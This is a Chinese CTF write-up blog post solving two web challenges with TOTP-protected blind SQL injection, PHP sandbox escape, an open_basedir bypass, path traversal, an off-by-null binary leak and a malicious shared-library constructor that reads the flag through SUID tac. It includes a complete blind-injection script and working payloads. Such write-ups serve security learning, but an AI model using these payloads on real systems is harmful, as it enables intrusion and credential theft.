可以看到totp是由TOTP类生成
不太清楚totp是啥,于是查了一下后大概知道,totp则是基于时间的一次性口令。totp需要客户端与服务器时钟同步,同时共享密钥,否则会使客户端与服务器计算出来的动态口令不同验证失败。不过可以通过设置timeStep防止客户端与服务器由于难以避免的时间差导致的验证口令错误,但设置过大的话就失去了动态口令的意义

生成口令的算法是:
TOTP =Truncate(HMAC-SHA-1(K, (T - T0) / X))
这里的几个参数的意义是:
K是共享密钥(令牌种子)
T是一个整数,代表当前时间
T0是一个整数,代表一个时间点,一般为0
X口令变化周期,单位为秒,30秒或者60秒

那么前面那串GAXG24JTMZXGKZBU应该就是key了,8不清楚是什么试试看

可以看出是设置口令的长度
那还有X和T0这两个参数值要获得,于是去看看totop.min.js

    n(e, [
        {
          key: 'genOTP',
          value: function () {
            var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : 5,
            r = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : 0,
            n = Math.floor((Date.now() / 1000 - r) / t);
            return function t(e, r, n) {
              null === e && (e = Function.prototype);
              var o = Object.getOwnPropertyDescriptor(e, r);
              if (void 0 === o) {
                var i = Object.getPrototypeOf(e);
                return null === i ? void 0 : t(i, r, n)
              }
              if ('value' in o) return o.value;
              var u = o.get;
              return void 0 !== u ? u.call(n)  : void 0
            }(e.prototype.__proto__ || Object.getPrototypeOf(e.prototype), 'genOTP', this).call(this, n)
          }
        },

查找genOTP可以查到这里可以看到,当有传入参时,第一个参赋给t,第二个赋给r。无传入时,t的缺省值为5,r的缺省值为0
看下面n的计算式,可以看出t便是X,r便是T0

其实也可以从main.js中看出,如果知道totp的话,留意一下main.js中的注释

/*
[Developer Notes]
OTP Library for Python located in js/pyotp.zip
Server Params:
digits = 8
interval = 5
window = 1
*/

可以看到这里给了默认的几个参数,并且提示服务器是使用python实现口令的验证

接着回去看login,这里没给什么信息,就试试看有没有像普通的登录一样有注入的问题

尝试了一下发现可以绕出,但万能密码不行,那估计是分离式登录了。那就从username处入手盲注,fuzz一波后发现并没有过滤什么,但是不能用空格,因为这是命令行,会导致认为是下一个参数

测试了一下可以盲注,于是上脚本

payload:
login 'or((select(length(group_concat(table_name)))from(information_schema.tables)where(table_schema=database()))>0)'or' 1
login 'or(ascii(mid(((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))from(1)for(1)))>0)'or' 1
login 'or((select(length(group_concat(column_name)))from(information_schema.columns)where(table_name='users'))>0)or' 1
login 'or(ascii(mid(((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')))from(1)for(1)))>0)or' 1
login 'or((select(length(group_concat(password)))from(users))=50)or' 1
login 'or(ascii(mid(((select(group_concat(password))from(users)))from(1)for(1)))>0)or' 1

盲注脚本

# -*- coding:utf8 -*-  
import requests
import re
import time
import pyotp
import json

totp = pyotp.TOTP('GAXG24JTMZXGKZBU',digits=8,interval = 5)
url = "http://8015fb4f-e782-4e32-9aee-3464f7a149a0.node3.buuoj.cn/shell.php?a="

l1 = 0
r1 = 100

while(l1<=r1):
    mid1 = (l1 + r1)/2
    a = "login 'or((select(length(group_concat(password)))from(users))="+str(mid1)+")or' 1"
    # a = "login 'or((select(length(group_concat(column_name)))from(information_schema.columns)where(table_name='users'))="+str(mid1)+")or' 1"
    # a = "login 'or((select(length(group_concat(table_name)))from(information_schema.tables)where(table_schema=database()))="+str(mid1)+")or' 1"
    payload = url+a+"&totp="
    http = requests.get(payload+str(totp.now()),timeout=5)
    print payload+str(totp.now())
    time.sleep(1)
    content = json.loads(http.content)
    if 'incorrect' in content['message']:
        break
    else:
        a = "login 'or((select(length(group_concat(password)))from(users))>"+str(mid1)+")or' 1"
        # a = "login 'or((select(length(group_concat(column_name)))from(information_schema.columns)where(table_name='users'))>"+str(mid1)+")or' 1"
        # a = "login 'or((select(length(group_concat(table_name)))from(information_schema.tables)where(table_schema=database()))>"+str(mid1)+")or' 1"
        payload = url+a+"&totp="
        http = requests.get(payload+str(totp.now()),timeout=5)
        print payload+str(totp.now())
        time.sleep(1)
        content = json.loads(http.content)
        if 'incorrect' in content['message']:
            l1 = mid1 + 1
        else:
            r1 = mid1 - 1

print mid1

k = ''

for j in range(mid1):
    l2 = 0
    r2 = 128
    while(l2<=r2):
        mid2 = (l2 + r2)/2
        a = "login 'or(ascii(mid(((select(group_concat(password))from(users)))from("+str(j+1)+")for(1)))="+str(mid2)+")or' 1"
        # a = "login 'or(ascii(mid(((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')))from("+str(j+1)+")for(1)))="+str(mid2)+")or' 1"
        # a = "login 'or(ascii(mid(((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))from("+str(j+1)+")for(1)))="+str(mid2)+")or' 1"
        payload = url+a+"&totp="
        http = requests.get(payload+str(totp.now()),timeout=5)
        print payload+str(totp.now())
        time.sleep(1)
        content = json.loads(http.content)
        if 'incorrect' in content['message']:
            break
        else:
            a = "login 'or(ascii(mid(((select(group_concat(password))from(users)))from("+str(j+1)+")for(1)))>"+str(mid2)+")or' 1"
            # a = "login 'or(ascii(mid(((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')))from("+str(j+1)+")for(1)))>"+str(mid2)+")or' 1"
            # a = "login 'or(ascii(mid(((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))from("+str(j+1)+")for(1)))>"+str(mid2)+")or' 1"
            payload = url+a+"&totp="
            http = requests.get(payload+str(totp.now()),timeout=5)
            print payload+str(totp.now())
            time.sleep(1)
            content = json.loads(http.content)
            if 'incorrect' in content['message']:
                l2 = mid2 + 1
            else:
                r2 = mid2 - 1
    k = k + chr(mid2)
    print k

跑出
users
id,username,password
hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}

于是执行一下sh0w_hiiintttt_23333

执行后提示了launch的时候会调用eval,于是先登录一波调用一下

显示没有命令可以执行,于是看看md文件

应该是要用过targeting来写入,然后fuzz一下发现只能都限制了长度和0-9A-Za-z{}_$,感觉就很像沙盒逃逸

php的沙盒逃逸也是很好玩,比如像{$a}或${a}可以在字符串中获得对应变量的值

通过{$a(99)}调用对应函数

通过这样也能获得函数执行结果对应的变量的值

从这里可以想到,我们可以通过这种方式在字符串中使用eval,尽管没有返回值,但eval依旧是执行了

更多沙箱逃逸的骚操作可以看看这个
从一道题讲PHP复杂变量

先试一下

这里通过eval执行了命令,一开始不知道为什么会error。后来看了一下响应才发现执行的结果已经返回,但由于非json才error

然后尝试一下file_get_contents()取读/flag

并没有返回,应该是被限制了,执行看看phpinfo()

可以看到open_basedir限制了只能在app以及sandbox目录下
要绕过这里,可以利用open_basedir设置的一个缺陷,它虽然不能在设定的目录下修改,但可以在非设定的目录下修改。也就是说,只要不在/app和/sandbox目录下,我们就可以随意修改open_basedir的值

具体看一叶飘零师傅的分析
从PHP底层看open_basedir bypass
感觉需要一些pwn基础,纯web手先留坑了Orz

payload:
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

先进到img目录下将open_basedir设为..,然后一直返回上级目录到根目录(看phpinfo可以知道网站根目录在/var/www/html/),将open_basedir设为/,然后读flag
其实在想为什么不能直接设为/,日后再研究研究底层看看吧

不过这里要拆分成一个个变量有点麻烦,可以用一个技巧——利用{代替[。这样就能用get传值进入,直接绕过过滤
像这样

脚本传个值进去后

命令就赋给了c,然后再执行一下

可以看到执行成功了

于是发送读取flag

CloudMusic_rev

进入是个山寨版网易云——滑稽云,当时看界面就知道是国赛决赛的题改,然而依旧没整出来

首先先注册登录,注册界面又是有一个麻烦的md5截断
然后看看前端的源码,在首页发现了一个接口

        <!-- TODO 2019-08-03 06:15:32
            To:Jessica Lee
                Damn it! The boss said we should add firmware update function and put it online tomorrow!???
                I havn't done yet and put the entry here.
                You should help me coding and finish the job.
                Security is important!!!
                Something more, remember to delete this note!!!
            From:Alan Wang
        <p class="p1 p2">Admin Panel</p>
        <span><a class="a1" href="#firmware">Upgrade Firmware</a></span>
        -->

去掉注释进入,提示要admin账户,于是找找看有什么办法能登录admin

接着尝试一下上传,只允许mp3文件,检查了文件头,不太好利用
于是继续看share页面,发现很奇怪,有一首歌是加载不了的
看看源码,发现除了这首歌是通过/media/share.php?Y292ZXIvd2VsY29tZS5wbmc=这个脚本获取图片,而其它歌都是直接读取/media/cover/目录下对应的图片
看后面那串应该是base64于是解码一下得到cover/welcome.png,然后取访问成功获得图片

那么shell.php有可能能够获取源码,于是尝试去获取index.php

base64一下访问,拿下来发现

urldecode path:../index.php
.php is not allowed.

不允许.php,于是尝试一下urlencode,成功获得

<?php
include_once 'include/config.php';
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Comical CloudMusic</title>

    <link rel="stylesheet" href="css/bootstrap.min.css">
    <link rel="stylesheet" href="css/reset.css">
    <link rel="stylesheet" href="css/index.css">
    <link rel="stylesheet" href="css/other.css">
    <link rel="stylesheet" href="css/APlayer.min.css">

    <script src="js/jquery-3.2.1.min.js"></script>
    <script src="js/APlayer.min.js"></script>
    <script src="js/color-thief.js"></script>
</head>
<body>
<header>
    <div class="top">
<?php include 'include/top.php'; ?>
    </div>
</header>
<div id="container">
    <div id="left">
<?php include 'include/left.php'; ?>
    </div>
    <div id="content"></div>
    <div id="player"></div>
</div>
<script>
const ap = new APlayer({
    container: document.getElementById('player'),
    fixed: true
});
const colorThief = new ColorThief();
const setTheme = (index) => {
    if (ap.list.audios.length<=0) return;
    if (ap.list.audios[index].theme==undefined) {
        colorThief.getColorAsync(ap.list.audios[index].cover, function (color) {
            ap.theme(`rgb(${color[0]}, ${color[1]}, ${color[2]})`, index);
        });
    }
};
ap.on('listswitch', (index) => {
    setTheme(index.index);
});
ap.list.add({name:'Friendships',artist:'Pascal Letoublon',url:'/media/music/welcome.mp3',cover:'/media/cover/welcome.png'});
ap.list.switch(0);
</script>
<footer style="text-align:center;">
<?php include 'include/bottom.php'; ?>
</footer>
<script src="js/hotload.js"></script>
</body>
</html>

于是去拿其它几个的源码,通过index.php只能找到top这几个php,但主体部分没有。于是进到hotload.js发现hotload.php,拿下来

$whitelist=array('index','fm','mv','friend','disk','upload','share','favor','login','reg','feedback','firmware','search','logout','info');
if (!in_array($page,$whitelist,true)) $page='404';

include "include/$page.php";

可以看到主体部分的代码都在include里,于是全部拿下来审一下

在login.php中可以看到

$username==='admin'&&$password===$_GLOBALS['admin_password']

admin的密码是存在GLOBALS变量中的,于是去读config

$_GLOBALS['admin_password']=write_config(init_config('.passwd'));

可以看到密码是从通过write_config()获得,再继续看init.php\

function get_filename($ext){
    $files=scandir(__DIR__.'/../config/');
    foreach ($files as $file) {
        if ($file != "." && $file != "..") {
            if (substr($file,-strlen($ext))===$ext){
                return $file;
            }
        }
    }
    return '';
}

function init_config($ext){
    $file=get_filename($ext);
    if ($file==''){
        $file=rand_str(8).$ext;
        file_put_contents(__DIR__.'/../config/'.$file, '');
        if (!file_exists(__DIR__.'/../config/'.$file)){
            $file=='';
        }
    }
    return $file;
}

function read_config($file){
    return file_get_contents(__DIR__.'/../config/'.$file);
}

function write_config($file,$str = '',$length = 16){
    $content=file_get_contents(__DIR__.'/../config/'.$file);
    if ($content==''){
        if ($str=='') $str=rand_str($length);
        file_put_contents(__DIR__.'/../config/'.$file, $str);
    }
    return file_get_contents(__DIR__.'/../config/'.$file);
}

可以看到.passwd只是个后缀名,文件名是16为的随机数,应该无法通过直接读取获得

于是对着全部源码搜一下$_GLOBALS['admin_password'],发现只剩upload.php使用了

$parser = FFI::cdef("
    struct Frame{
        char * data;
        int size;
    };
    struct Frame * parse(char * password, char * classname, char * filename);
", __DIR__ ."/../lib/parser.so");
$result=$parser->parse($_GLOBALS['admin_password'],"title",$music_filename);

这里用FFI从/../lib/parser.so中加载了parse方法,prase()中需要传入三个参数:密码,类型和文件名。记得国赛时就是不会分析卡在了这Orz

下面是菜鸡web手第一次搞二进制文件,找了pwn师傅来指导【师傅实在tql
把so文件拿下来后ida打开,进到parse函数下

void *__fastcall parse(__int64 a1, const char *a2, __int64 a3)
{
  __int64 v4; // [rsp+8h] [rbp-18h]

  v4 = a3;
  init_proc();
  if ( check_password(a1) == 1 )
  {
    if ( !strcmp(a2, "title") )
    {
      read_title(v4, "title");
    }
    else if ( !strcmp(a2, "artist") )
    {
      read_artist(v4, "artist");
    }
    else if ( !strcmp(a2, "album") )
    {
      read_album(v4, "album");
    }
  }
  return &mframe_data;
}

先进入初始化init_proc()看看

void *init_proc()
{
  mframe_size = 0;
  mframe_data = &mem_mframe_data;
  memset(&mem_mframe_data, 0, 0x70uLL);
  passwd[0] = &mem_mpasswd;
  return memset(&mem_mpasswd, 0, 0x20uLL);
}

这里将mframe_data指向mem_mframe_datapasswd[0]指向mem_mpasswd

接着读check_password(),这个函数用来读取并检查输入的密码是否正确。主要看这个地方

stream = fopen(&s, "r");
if ( !stream )
return 0LL;
fread(passwd[0], 1uLL, 0x18uLL, stream);
fclose(stream);
return strcmp(passwd[0], a1) == 0;

这里将取出的密码保存到了passwd[0]指向的地址,也就是mem_mpasswd。不过整个过程中仅有最后比较的时候使用了传入的a1,没有什么可以插手的地方,应该利用不了

回到parse(),下面判断classname是什么并分别进入不同函数
于是先进入read_title()看看,这个函数应该是用来获取歌曲的title

unsigned __int64 __fastcall read_title(__int64 a1)
{
  unsigned __int64 result; // rax
  const char *v2; // rax
  signed int *v3; // rax
  signed int *v4; // [rsp+18h] [rbp-18h]

  result = load_tag(a1);
  if ( result )
  {
    v2 = tag_get_title(result);
    v3 = parse_text_frame_content(v2);
    v4 = v3;
    result = strlen(*(v3 + 1));
    if ( result <= 0x70 )
    {
      mframe_size = strlen(*(v4 + 1));
      result = strcpy(&mem_mframe_data, *(v4 + 1));
    }
  }
  return result;
}

load_tag()应该是将文件读取出来

const char *__fastcall tag_get_title(__int64 a1)
{
  const char *result; // rax

  if ( a1 )
    result = get_from_list(*(a1 + 16), "TIT2");
  else
    result = 0LL;
  return result;
}

然后在tag_get_title()返回TIT2(mp3头部记录作者的标签)的位置
parse_text_frame_content()猜测是将TIT2对应的起始地址+10(标签帧头长度),然后将赋给result该位置的内容,也就是TIT2的内容数据。然后result获得TIT2的大小(v3+1的原因是第一位是用来记录是什么编码),判断是否大于0x70,大于直接返回result。否则将TIT2的内容数据复制给mem_mframe_data

这里pwn师傅说一般碰到这种情况首先回去尝试一下边界值,结果也确实是可以,但还是分析一下原因
这里要利用的是off by nullparse()处最终是返回了mframe_data的地址,也就是mem_mframe_data

我们查看一下可以看到mframe_data地址在bbs段上的9390处

mem_mframe_data的地址在bbs段上的9320处

可以发现,两个数据的地址的差正好是0x70,也就是说只要mp3的大小大于0x70,就能够覆盖掉mframe_data的指向地址,就可以控制返回的数据
但这里限制了大小为0x70,无法让mp3的数据大于0x70。这时就要利用一下strlen()strcpy()对字符串的处理的一些细节。strlen()虽然是遇到/x00停止计算长度,但不会将/x00计入长度之中;而strcpy()则是会将/x00一同给复制。这样的结果就是,尽管strlen()计算的长度为0x70,但strcpy()复制的长度为0x71,/x00就溢出到了mframe_data处
此时由于mframe_data储存的是mem_mframe_data的地址,而且是以小端保存,因此保存的地址会从9320修改成9300,然后看看9300处

正好是password保存的位置,于是将password读出返回了

这里pwn师傅说bbs段虽然并不是真实地址,但也是相对地址,因此修改最后几位依旧可以保证指向的地址正确

然后构造一个符合要求的mp3文件,要注意几点的是,需要有title artist album这几个标签。同时对于要溢出的标签,大小不能只设为72(要计上编码和0x00),因为密码也要占用长度。所以可以将长度设大一些,然后在第72位的0x00后补足长度的字符即可

这是构造出来的mp3,TPE1的第72位为0x00,然后往后补足到了0xA1位

上传一下,成功获得密码,进入firmware界面

一个上传和调试的接口,回去读一下源码

if (isset($_FILES["file_data"])){
    if ($_FILES["file_data"]["error"] > 0||$_FILES["file_data"]["size"] > 1024*1024*1){
        ob_end_clean();
        die(json_encode(array('status'=>0,'info'=>'upload err, maximum file size is 1MB.')));
    }else{
        mt_srand(time());
        $firmware_filename=md5(mt_rand().$_SERVER['REMOTE_ADDR']);
        $firmware_filename=__DIR__."/../uploads/firmware/".$firmware_filename.".elf";

上传部分会将文件保存为elf,那就是要上传一个so文件

if (isset($path)){
    $path=clean_string(trim((string) $path));
    if (strlen($path)<=0||strlen($path)>64){
        ob_end_clean();
        die(json_encode(array('status'=>0,'info'=>'Format or length check failed.')));
    }else{
        $firmware_filename=__DIR__."/../uploads/firmware/".$path.".elf";
        if (!file_exists($firmware_filename)){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'File not found.')));
        }else{
            try{
                $elf = FFI::cdef("
                    extern char * version;
                ", $firmware_filename);
                $version=(string) FFI::string($elf->version);
                if ($version === "cloudmusic_rev"){
                    ob_end_clean();
                    die(json_encode(array('status'=>1,'info'=>'Firmware version is cloudmusic_rev.')));
                }else{
                    ob_end_clean();
                    die(json_encode(array('status'=>0,'info'=>'Bad version.')));
                }
            }catch(Error $e){
                ob_end_clean();
                die(json_encode(array('status'=>0,'info'=>'Fail when loading firmware.')));
            }
        }
    }
}

调试部分则是会去获得文件的version,但只是返回固定的信息,,这里可以利用__attribute__((constructor)) 。之前写C时没用过,不过看得出是个类似于构造函数的东西,实际上用途也是被设定为该属性的函数,会在main()执行前执行【同时也有个类似析构函数的用法】
于是我们可以构造文件,让其中有一个函数为__attribute__((constructor))。那么只要使用了这个文件,那就会执行函数得以RCE

先构造好文件,由于没有回显,那就将内容保存到web目录下。尝试了几次在uploads下那几个目录能写,web根目录和uploads目录是写不了的
先读一下根目录

#include <stdio.h>
#include <string.h>

char _version[0x130];
char * version = &_version;

__attribute__ ((constructor)) void flag(){
    memset(version,0,0x130);
    FILE * fp=popen("/usr/bin/tac /flag > /var/www/html/uploads/firmware/flag.txt ", "r");
    if (fp==NULL) return;
    fread(version, 1, 0x100, fp);
    pclose(fp);
}

然后编译为so文件,本来以为so文件可以gcc -c x.c -o x.so这样生成,上传后一直用不了很懵逼。后来尝试去调试时才发现so要用动态文件的生成方式生成,记一下命令gcc x.c -fPIC -shared -o x.so

上传so,然后去计算文件的位置
time()的值可以通过抓包获取服务器的时间

$_SERVER['REMOTE_ADDR']查看自己的公网ip即可
不过这里由于php7对mt_rand()的算法有改动,所以要使用php7以上去生成

然后调试so文件

看到这样就是成功了

访问一下

flag在根目录,然后cat /flag > /var/www/html/uploads/firmware/flag.txt

发现什么都没读到,猜测可能是权限的问题,于是ls -l / > /var/www/html/uploads/firmware/ls-l.txt

确实不够权限去读取flag,需要找一个有suid权限的程序去读取。/usr/bin/tac的权限为suid,而tac和cat不同的只是从最后一行读起而已。这里flag只有一行问题不大,于是/usr/bin/tac /flag > /var/www/html/uploads/firmware/getflag.txt

得到flag

最后修改:2019 年 11 月 30 日 01 : 50 PM
如果觉得我的文章对你有用,请随意赞赏

发表评论